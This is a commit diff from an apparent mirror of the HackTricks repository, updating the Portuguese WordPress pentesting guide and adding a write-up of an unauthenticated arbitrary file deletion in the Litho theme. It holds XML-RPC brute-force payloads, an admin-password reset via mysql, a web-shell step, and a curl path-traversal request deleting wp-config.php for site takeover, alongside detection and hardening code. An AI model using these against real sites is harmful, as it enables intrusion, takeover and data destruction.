mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
bed9bfe241
commit
8c059ce3a2
@ -25,14 +25,14 @@
|
||||
- `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como o mecanismo de transporte e XML como o mecanismo de codificação. Esse tipo de comunicação foi substituído pela [REST API](https://developer.wordpress.org/rest-api/reference) do WordPress.
|
||||
- A pasta `wp-content` é o diretório principal onde plugins e temas são armazenados.
|
||||
- `wp-content/uploads/` é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
|
||||
- `wp-includes/` este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
|
||||
- `wp-sitemap.xml` nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente consultáveis.
|
||||
- `wp-includes/` Este é o diretório onde arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
|
||||
- `wp-sitemap.xml` Nas versões do WordPress 5.5 e superiores, o WordPress gera um arquivo XML de sitemap com todas as postagens públicas e tipos de postagens e taxonomias publicamente consultáveis.
|
||||
|
||||
**Pós-exploração**
|
||||
|
||||
- O arquivo `wp-config.php` contém informações necessárias para o WordPress se conectar ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e sais, e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
|
||||
|
||||
### Permissões dos Usuários
|
||||
### Permissões de Usuários
|
||||
|
||||
- **Administrador**
|
||||
- **Editor**: Publica e gerencia suas postagens e as de outros
|
||||
@ -91,7 +91,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**. Se a resposta for **400**, então o id é **inválido**.
|
||||
|
||||
- **wp-json:** Você também pode tentar obter informações sobre os usuários consultando:
|
||||
- **wp-json:** Você também pode tentar obter informações sobre os usuários fazendo consultas:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
@ -120,9 +120,9 @@ Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitaç
|
||||
```
|
||||

|
||||
|
||||
**Bruteforce de Credenciais**
|
||||
**Força Bruta de Credenciais**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para realizar bruteforce de credenciais. Se você conseguir encontrar algum deles, pode enviar algo como:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para forçar credenciais. Se você conseguir encontrar algum deles, pode enviar algo como:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,7 +132,7 @@ Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitaç
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta com código 200 deve aparecer se as credenciais não forem válidas.
|
||||
A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta de código 200 deve aparecer se as credenciais não forem válidas.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
@ -174,7 +174,7 @@ Também há uma **maneira mais rápida** de forçar credenciais usando **`system
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando o 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS ou varredura de portas**
|
||||
|
||||
@ -210,10 +210,10 @@ Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprende
|
||||
### wp-cron.php DoS
|
||||
|
||||
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
|
||||
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\
|
||||
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, podendo ser usado por **atacantes** para **causar** um **DoS**.\
|
||||
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
|
||||
|
||||
É recomendado desabilitar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
|
||||
Recomenda-se desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
|
||||
Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existir, tenta explorá-los.
|
||||
|
||||
## Automatic Tools
|
||||
## Ferramentas Automáticas
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -239,16 +239,16 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Obter acesso sobrescrevendo um bit
|
||||
|
||||
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
|
||||
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Painel RCE**
|
||||
|
||||
**Modificando um php do tema utilizado (credenciais de administrador necessárias)**
|
||||
**Modificando um php do tema usado (credenciais de administrador necessárias)**
|
||||
|
||||
Aparência → Editor de Tema → Template 404 (à direita)
|
||||
Aparência → Editor de Tema → Modelo 404 (à direita)
|
||||
|
||||
Altere o conteúdo para um shell php:
|
||||
|
||||
@ -299,13 +299,13 @@ Este método envolve a instalação de um plugin malicioso conhecido por ser vul
|
||||
|
||||
1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalação do Plugin**:
|
||||
- Navegue até o painel do WordPress, em seguida, vá para `Painel > Plugins > Fazer Upload do Plugin`.
|
||||
- Navegue até o painel do WordPress, em seguida vá para `Painel > Plugins > Fazer Upload do Plugin`.
|
||||
- Faça o upload do arquivo zip do plugin baixado.
|
||||
3. **Ativação do Plugin**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel.
|
||||
4. **Exploração**:
|
||||
- Com o plugin "reflex-gallery" instalado e ativado, ele pode ser explorado, pois é conhecido por ser vulnerável.
|
||||
- O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
|
||||
- É observado que este é apenas um dos muitos métodos para explorar um site WordPress.
|
||||
- É importante notar que este é apenas um dos muitos métodos para explorar um site WordPress.
|
||||
|
||||
O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
|
||||
|
||||
@ -330,15 +330,15 @@ Alterar a senha do administrador:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Pentest de Plugins do Wordpress
|
||||
|
||||
### Superfície de Ataque
|
||||
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode encontrar como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode descobrir como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
|
||||
Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
|
||||
|
||||
Estas são as funções que podem ser usadas para expor uma função em um plugin:
|
||||
```php
|
||||
@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo os não autenticados).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com baixos privilégios podem ter acesso a ações de altos privilégios.
|
||||
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com privilégios baixos podem ter acesso a ações de altos privilégios.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -362,25 +362,101 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
O `permission_callback` é uma função de retorno que verifica se um determinado usuário está autorizado a chamar o método da API.
|
||||
O `permission_callback` é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API.
|
||||
|
||||
**Se a função embutida `__return_true` for usada, ela simplesmente ignorará a verificação de permissões do usuário.**
|
||||
|
||||
- **Acesso direto ao arquivo php**
|
||||
|
||||
Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Portanto, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, isso será explorável por qualquer usuário.
|
||||
Claro, o Wordpress usa PHP e os arquivos dentro dos plugins são acessíveis diretamente pela web. Assim, caso um plugin esteja expondo alguma funcionalidade vulnerável que é acionada apenas acessando o arquivo, ele será explorável por qualquer usuário.
|
||||
|
||||
### Exclusão Arbitrária de Arquivos Não Autenticada via wp_ajax_nopriv (Tema Litho <= 3.0)
|
||||
|
||||
Os temas e plugins do WordPress frequentemente expõem manipuladores AJAX através dos hooks `wp_ajax_` e `wp_ajax_nopriv_`. Quando a variante **_nopriv_** é usada **o callback se torna acessível por visitantes não autenticados**, então qualquer ação sensível deve implementar adicionalmente:
|
||||
|
||||
1. Uma **verificação de capacidade** (por exemplo, `current_user_can()` ou pelo menos `is_user_logged_in()`), e
|
||||
2. Um **nonce CSRF** validado com `check_ajax_referer()` / `wp_verify_nonce()`, e
|
||||
3. **Sanitização / validação rigorosa de entrada**.
|
||||
|
||||
O tema multipropósito Litho (< 3.1) esqueceu esses 3 controles na funcionalidade *Remover Família de Fonte* e acabou enviando o seguinte código (simplificado):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
return;
|
||||
}
|
||||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||||
$upload_dir = wp_upload_dir();
|
||||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||||
$filesystem = Litho_filesystem::init_filesystem();
|
||||
|
||||
if ( file_exists( $srcdir ) ) {
|
||||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||||
}
|
||||
die();
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problemas introduzidos por este trecho:
|
||||
|
||||
* **Acesso não autenticado** – o gancho `wp_ajax_nopriv_` está registrado.
|
||||
* **Sem verificação de nonce / capacidade** – qualquer visitante pode acessar o endpoint.
|
||||
* **Sem sanitização de caminho** – a string `fontfamily` controlada pelo usuário é concatenada a um caminho de sistema de arquivos sem filtragem, permitindo a clássica travessia `../../`.
|
||||
|
||||
#### Exploração
|
||||
|
||||
Um atacante pode deletar qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando uma única solicitação HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Porque `wp-config.php` está fora de *uploads*, quatro sequências de `../` são suficientes em uma instalação padrão. Deletar `wp-config.php` força o WordPress a entrar no *assistente de instalação* na próxima visita, permitindo uma tomada total do site (o atacante apenas fornece uma nova configuração de DB e cria um usuário admin).
|
||||
|
||||
Outros alvos impactantes incluem arquivos `.php` de plugins/temas (para quebrar plugins de segurança) ou regras de `.htaccess`.
|
||||
|
||||
#### Lista de verificação de detecção
|
||||
|
||||
* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chama helpers de sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenação de entrada de usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Fortalecimento
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Sempre** trate qualquer operação de escrita/exclusão no disco como privilegiada e verifique duas vezes:
|
||||
> • Autenticação • Autorização • Nonce • Sanitização de entrada • Contenção de caminho (por exemplo, via `realpath()` mais `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
## Proteção do WordPress
|
||||
|
||||
### Atualizações Regulares
|
||||
|
||||
Certifique-se de que o WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php:
|
||||
Certifique-se de que o WordPress, plugins e temas estão atualizados. Também confirme que a atualização automática está habilitada no wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Também, **instale apenas plugins e temas confiáveis do WordPress**.
|
||||
Também, **instale apenas plugins e temas do WordPress confiáveis**.
|
||||
|
||||
### Plugins de Segurança
|
||||
|
||||
@ -396,4 +472,8 @@ Também, **instale apenas plugins e temas confiáveis do WordPress**.
|
||||
- **Limite tentativas de login** para prevenir ataques de Força Bruta
|
||||
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de certos endereços IP.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Vulnerabilidade de Exclusão de Arquivo Arbitrário Não Autenticada no Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user